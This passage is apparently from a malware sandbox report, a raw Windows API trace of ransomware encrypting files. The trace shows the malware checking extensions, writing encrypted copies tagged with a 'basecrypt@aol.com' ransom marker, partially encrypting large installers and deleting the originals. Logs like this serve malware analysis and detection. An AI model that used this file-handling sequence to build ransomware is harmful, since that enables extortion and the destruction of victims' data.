lpOverlapped=0x0) returned 1 [0103.891] ReadFile (in: hFile=0x32c, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1 [0103.891] WriteFile (in: hFile=0x358, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0xe4, lpOverlapped=0x0) returned 1 [0103.891] SetEndOfFile (hFile=0x358) returned 1 [0103.891] CloseHandle (hObject=0x358) returned 1 [0103.892] SetFilePointerEx (in: hFile=0x32c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0103.892] SetEndOfFile (hFile=0x32c) returned 1 [0103.893] CloseHandle (hObject=0x32c) returned 1 [0103.893] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0103.894] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\stop.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\stop.ico")) returned 1 [0103.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.894] lstrlenW (lpString=".doc") returned 4 [0103.894] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.894] lstrlenW (lpString=".docx") returned 5 [0103.894] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0103.894] lstrlenW (lpString=".pdf") returned 4 [0103.894] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.894] lstrlenW (lpString=".xls") returned 4 [0103.894] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.894] lstrlenW (lpString=".xlsx") returned 5 [0103.894] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0103.894] lstrlenW (lpString=".ppt") returned 4 [0103.894] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.894] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.894] lstrlenW (lpString=".zip") returned 4 [0103.895] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.895] lstrlenW (lpString=".rar") returned 4 [0103.895] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.895] lstrlenW (lpString=".bz2") returned 4 [0103.895] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.895] lstrlenW (lpString=".7z") returned 3 [0103.895] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.895] lstrlenW (lpString=".dbf") returned 4 [0103.895] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.895] lstrlenW (lpString=".1cd") returned 4 [0103.895] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.895] lstrlenW (lpString=".jpg") returned 4 [0103.895] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.895] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.895] lstrlenW (lpString=".doc") returned 4 [0103.895] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0103.895] lstrlenW (lpString=".docx") returned 5 [0103.895] lstrcmpiW (lpString1=".docx", lpString2="p.ico") returned -1 [0103.895] lstrlenW (lpString=".pdf") returned 4 [0103.895] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0103.895] lstrlenW (lpString=".xls") returned 4 [0103.896] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0103.896] lstrlenW (lpString=".xlsx") returned 5 [0103.896] lstrcmpiW (lpString1=".xlsx", lpString2="p.ico") returned -1 [0103.896] lstrlenW (lpString=".ppt") returned 4 [0103.896] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0103.896] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.896] lstrlenW (lpString=".zip") returned 4 [0103.896] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0103.896] lstrlenW (lpString=".rar") returned 4 [0103.896] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0103.896] lstrlenW (lpString=".bz2") returned 4 [0103.896] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0103.896] lstrlenW (lpString=".7z") returned 3 [0103.896] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0103.896] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.896] lstrlenW (lpString=".dbf") returned 4 [0103.896] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0103.896] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.896] lstrlenW (lpString=".1cd") returned 4 [0103.896] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0103.896] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\stop.ico") returned 39 [0103.896] lstrlenW (lpString=".jpg") returned 4 [0103.896] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0103.897] lstrcmpiW (lpString1=".msi", lpString2=".BSC") returned 1 [0103.897] lstrlenW (lpString="netfx_Core_x64.msi") returned 18 [0103.897] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.934] GetFileSizeEx (in: hFile=0x340, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=1901056) returned 1 [0103.934] CloseHandle (hObject=0x340) returned 1 [0103.934] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi")) returned 0x80 [0103.934] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0103.937] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[basecrypt@aol.com].bsc")) returned 1 [0103.958] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\netfx_core_x64.msi.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0103.958] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc64 | out: lpNewFilePointer=0x0) returned 1 [0103.958] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc24 | out: lpNewFilePointer=0x0) returned 1 [0103.958] ReadFile (in: hFile=0x340, lpBuffer=0x3b2c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b2c058*, lpNumberOfBytesRead=0x303fc30*=0x40000, lpOverlapped=0x0) returned 1 [0104.699] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x303fc24 | out: lpNewFilePointer=0x0) returned 1 [0104.699] ReadFile (in: hFile=0x340, lpBuffer=0x3b6c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b6c058*, lpNumberOfBytesRead=0x303fc30*=0x40000, lpOverlapped=0x0) returned 1 [0105.454] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x303fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0105.454] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x303fc24 | out: lpNewFilePointer=0x0) returned 1 [0105.454] ReadFile (in: hFile=0x340, lpBuffer=0x3bac058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x303fc30, lpOverlapped=0x0 | out: lpBuffer=0x3bac058*, lpNumberOfBytesRead=0x303fc30*=0x40000, lpOverlapped=0x0) returned 1 [0106.081] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0106.081] WriteFile (in: hFile=0x340, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x303fca8, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fca8*=0xc0110, lpOverlapped=0x0) returned 1 [0106.100] SetEndOfFile (hFile=0x340) returned 1 [0106.100] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0x40000) returned 0x4353238 [0106.104] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fc74 | out: lpNewFilePointer=0x0) returned 1 [0106.104] WriteFile (in: hFile=0x340, lpBuffer=0x4353238*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc80, lpOverlapped=0x0 | out: lpBuffer=0x4353238*, lpNumberOfBytesWritten=0x303fc80*=0x40000, lpOverlapped=0x0) returned 1 [0106.105] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x9ab55, lpNewFilePointer=0x0, dwMoveMethod=0x303fc74 | out: lpNewFilePointer=0x0) returned 1 [0106.105] WriteFile (in: hFile=0x340, lpBuffer=0x4353238*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc80, lpOverlapped=0x0 | out: lpBuffer=0x4353238*, lpNumberOfBytesWritten=0x303fc80*=0x40000, lpOverlapped=0x0) returned 1 [0106.107] SetFilePointerEx (in: hFile=0x340, liDistanceToMove=0x190200, lpNewFilePointer=0x0, dwMoveMethod=0x303fc74 | out: lpNewFilePointer=0x0) returned 1 [0106.107] WriteFile (in: hFile=0x340, lpBuffer=0x4353238*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x303fc80, lpOverlapped=0x0 | out: lpBuffer=0x4353238*, lpNumberOfBytesWritten=0x303fc80*=0x40000, lpOverlapped=0x0) returned 1 [0106.126] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4353238 | out: hHeap=0x5c0000) returned 1 [0106.127] CloseHandle (hObject=0x340) returned 1 [0109.519] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core_x64.msi.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0109.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0109.554] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0109.554] lstrlenW (lpString=".doc") returned 4 [0109.554] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0109.554] lstrlenW (lpString=".docx") returned 5 [0109.554] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0109.554] lstrlenW (lpString=".pdf") returned 4 [0109.554] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0109.555] lstrlenW (lpString=".xls") returned 4 [0109.555] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0109.555] lstrlenW (lpString=".xlsx") returned 5 [0109.555] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0109.555] lstrlenW (lpString=".ppt") returned 4 [0109.555] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0109.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0109.555] lstrlenW (lpString=".zip") returned 4 [0109.555] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0109.555] lstrlenW (lpString=".rar") returned 4 [0109.555] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0109.555] lstrlenW (lpString=".bz2") returned 4 [0109.555] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0109.555] lstrlenW (lpString=".7z") returned 3 [0109.555] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0109.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0109.555] lstrlenW (lpString=".dbf") returned 4 [0109.555] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0109.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0109.555] lstrlenW (lpString=".1cd") returned 4 [0109.555] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0109.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0109.555] lstrlenW (lpString=".jpg") returned 4 [0109.555] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0109.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0109.555] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0109.555] lstrlenW (lpString=".doc") returned 4 [0109.555] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0109.555] lstrlenW (lpString=".docx") returned 5 [0109.555] lstrcmpiW (lpString1=".docx", lpString2="4.msi") returned -1 [0109.555] lstrlenW (lpString=".pdf") returned 4 [0109.556] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0109.556] lstrlenW (lpString=".xls") returned 4 [0109.556] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0109.556] lstrlenW (lpString=".xlsx") returned 5 [0109.556] lstrcmpiW (lpString1=".xlsx", lpString2="4.msi") returned -1 [0109.556] lstrlenW (lpString=".ppt") returned 4 [0109.556] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0109.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0109.556] lstrlenW (lpString=".zip") returned 4 [0109.556] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0109.556] lstrlenW (lpString=".rar") returned 4 [0109.556] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0109.556] lstrlenW (lpString=".bz2") returned 4 [0109.556] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0109.556] lstrlenW (lpString=".7z") returned 3 [0109.556] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0109.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0109.556] lstrlenW (lpString=".dbf") returned 4 [0109.556] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0109.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0109.556] lstrlenW (lpString=".1cd") returned 4 [0109.556] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0109.556] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core_x64.msi") returned 40 [0109.556] lstrlenW (lpString=".jpg") returned 4 [0109.556] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0109.557] lstrcmpiW (lpString1=".exe", lpString2=".BSC") returned 1 [0109.557] lstrlenW (lpString="SetupUtility.exe") returned 16 [0109.557] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0109.557] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=96088) returned 1 [0109.557] CloseHandle (hObject=0x310) returned 1 [0109.557] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 0x80 [0109.557] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0109.557] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0109.557] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.557] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.557] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0109.558] GetLastError () returned 0x0 [0109.558] ReadFile (in: hFile=0x310, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x17758, lpOverlapped=0x0) returned 1 [0109.857] WriteFile (in: hFile=0x2f4, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0x17760, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0x17760, lpOverlapped=0x0) returned 1 [0109.859] ReadFile (in: hFile=0x310, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1 [0109.859] WriteFile (in: hFile=0x2f4, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0xf4, lpOverlapped=0x0) returned 1 [0109.859] SetEndOfFile (hFile=0x2f4) returned 1 [0109.859] CloseHandle (hObject=0x2f4) returned 1 [0109.861] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.861] SetEndOfFile (hFile=0x310) returned 1 [0109.863] CloseHandle (hObject=0x310) returned 1 [0109.863] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0109.926] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\SetupUtility.exe" (normalized: "c:\\588bce7c90097ed212\\setuputility.exe")) returned 1 [0109.926] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0109.926] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0109.926] lstrlenW (lpString=".doc") returned 4 [0109.926] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0109.926] lstrlenW (lpString=".docx") returned 5 [0109.926] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0109.926] lstrlenW (lpString=".pdf") returned 4 [0109.926] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0109.926] lstrlenW (lpString=".xls") returned 4 [0109.926] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0109.927] lstrlenW (lpString=".xlsx") returned 5 [0109.927] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0109.927] lstrlenW (lpString=".ppt") returned 4 [0109.927] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0109.927] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0109.927] lstrlenW (lpString=".zip") returned 4 [0109.927] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0109.927] lstrlenW (lpString=".rar") returned 4 [0109.927] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0109.927] lstrlenW (lpString=".bz2") returned 4 [0109.927] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0109.927] lstrlenW (lpString=".7z") returned 3 [0109.927] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0109.927] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0109.927] lstrlenW (lpString=".dbf") returned 4 [0109.927] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0109.927] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0109.927] lstrlenW (lpString=".1cd") returned 4 [0109.927] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0109.927] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0109.927] lstrlenW (lpString=".jpg") returned 4 [0109.927] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0109.927] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0109.927] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0109.927] lstrlenW (lpString=".doc") returned 4 [0109.927] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0109.927] lstrlenW (lpString=".docx") returned 5 [0109.927] lstrcmpiW (lpString1=".docx", lpString2="y.exe") returned -1 [0109.927] lstrlenW (lpString=".pdf") returned 4 [0109.927] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0109.927] lstrlenW (lpString=".xls") returned 4 [0109.927] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0109.928] lstrlenW (lpString=".xlsx") returned 5 [0109.928] lstrcmpiW (lpString1=".xlsx", lpString2="y.exe") returned -1 [0109.928] lstrlenW (lpString=".ppt") returned 4 [0109.928] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0109.928] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0109.928] lstrlenW (lpString=".zip") returned 4 [0109.928] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0109.928] lstrlenW (lpString=".rar") returned 4 [0109.928] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0109.928] lstrlenW (lpString=".bz2") returned 4 [0109.928] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0109.928] lstrlenW (lpString=".7z") returned 3 [0109.928] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0109.928] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0109.928] lstrlenW (lpString=".dbf") returned 4 [0109.928] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0109.928] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0109.928] lstrlenW (lpString=".1cd") returned 4 [0109.928] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0109.928] lstrlenW (lpString="C:\\588bce7c90097ed212\\SetupUtility.exe") returned 38 [0109.928] lstrlenW (lpString=".jpg") returned 4 [0109.928] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0109.929] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0109.929] lstrlenW (lpString="sqmapi.dll") returned 10 [0109.929] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0109.929] GetFileSizeEx (in: hFile=0x310, lpFileSize=0x303ff14 | out: lpFileSize=0x303ff14*=144416) returned 1 [0109.929] CloseHandle (hObject=0x310) returned 1 [0109.929] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 0x80 [0109.929] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0109.929] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0109.930] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.930] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0109.930] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0109.930] GetLastError () returned 0x0 [0109.930] ReadFile (in: hFile=0x310, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x23420, lpOverlapped=0x0) returned 1 [0110.011] WriteFile (in: hFile=0x2f4, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0x23430, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0x23430, lpOverlapped=0x0) returned 1 [0110.015] ReadFile (in: hFile=0x310, lpBuffer=0x3b2c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x303fecc, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesRead=0x303fecc*=0x0, lpOverlapped=0x0) returned 1 [0110.015] WriteFile (in: hFile=0x2f4, lpBuffer=0x3b2c020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x303fc94, lpOverlapped=0x0 | out: lpBuffer=0x3b2c020*, lpNumberOfBytesWritten=0x303fc94*=0xe8, lpOverlapped=0x0) returned 1 [0110.015] SetEndOfFile (hFile=0x2f4) returned 1 [0110.016] CloseHandle (hObject=0x2f4) returned 1 [0110.021] SetFilePointerEx (in: hFile=0x310, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x303fec0 | out: lpNewFilePointer=0x0) returned 1 [0110.022] SetEndOfFile (hFile=0x310) returned 1 [0110.023] CloseHandle (hObject=0x310) returned 1 [0110.024] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0110.024] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\sqmapi.dll" (normalized: "c:\\588bce7c90097ed212\\sqmapi.dll")) returned 1 [0110.024] lstrlenW 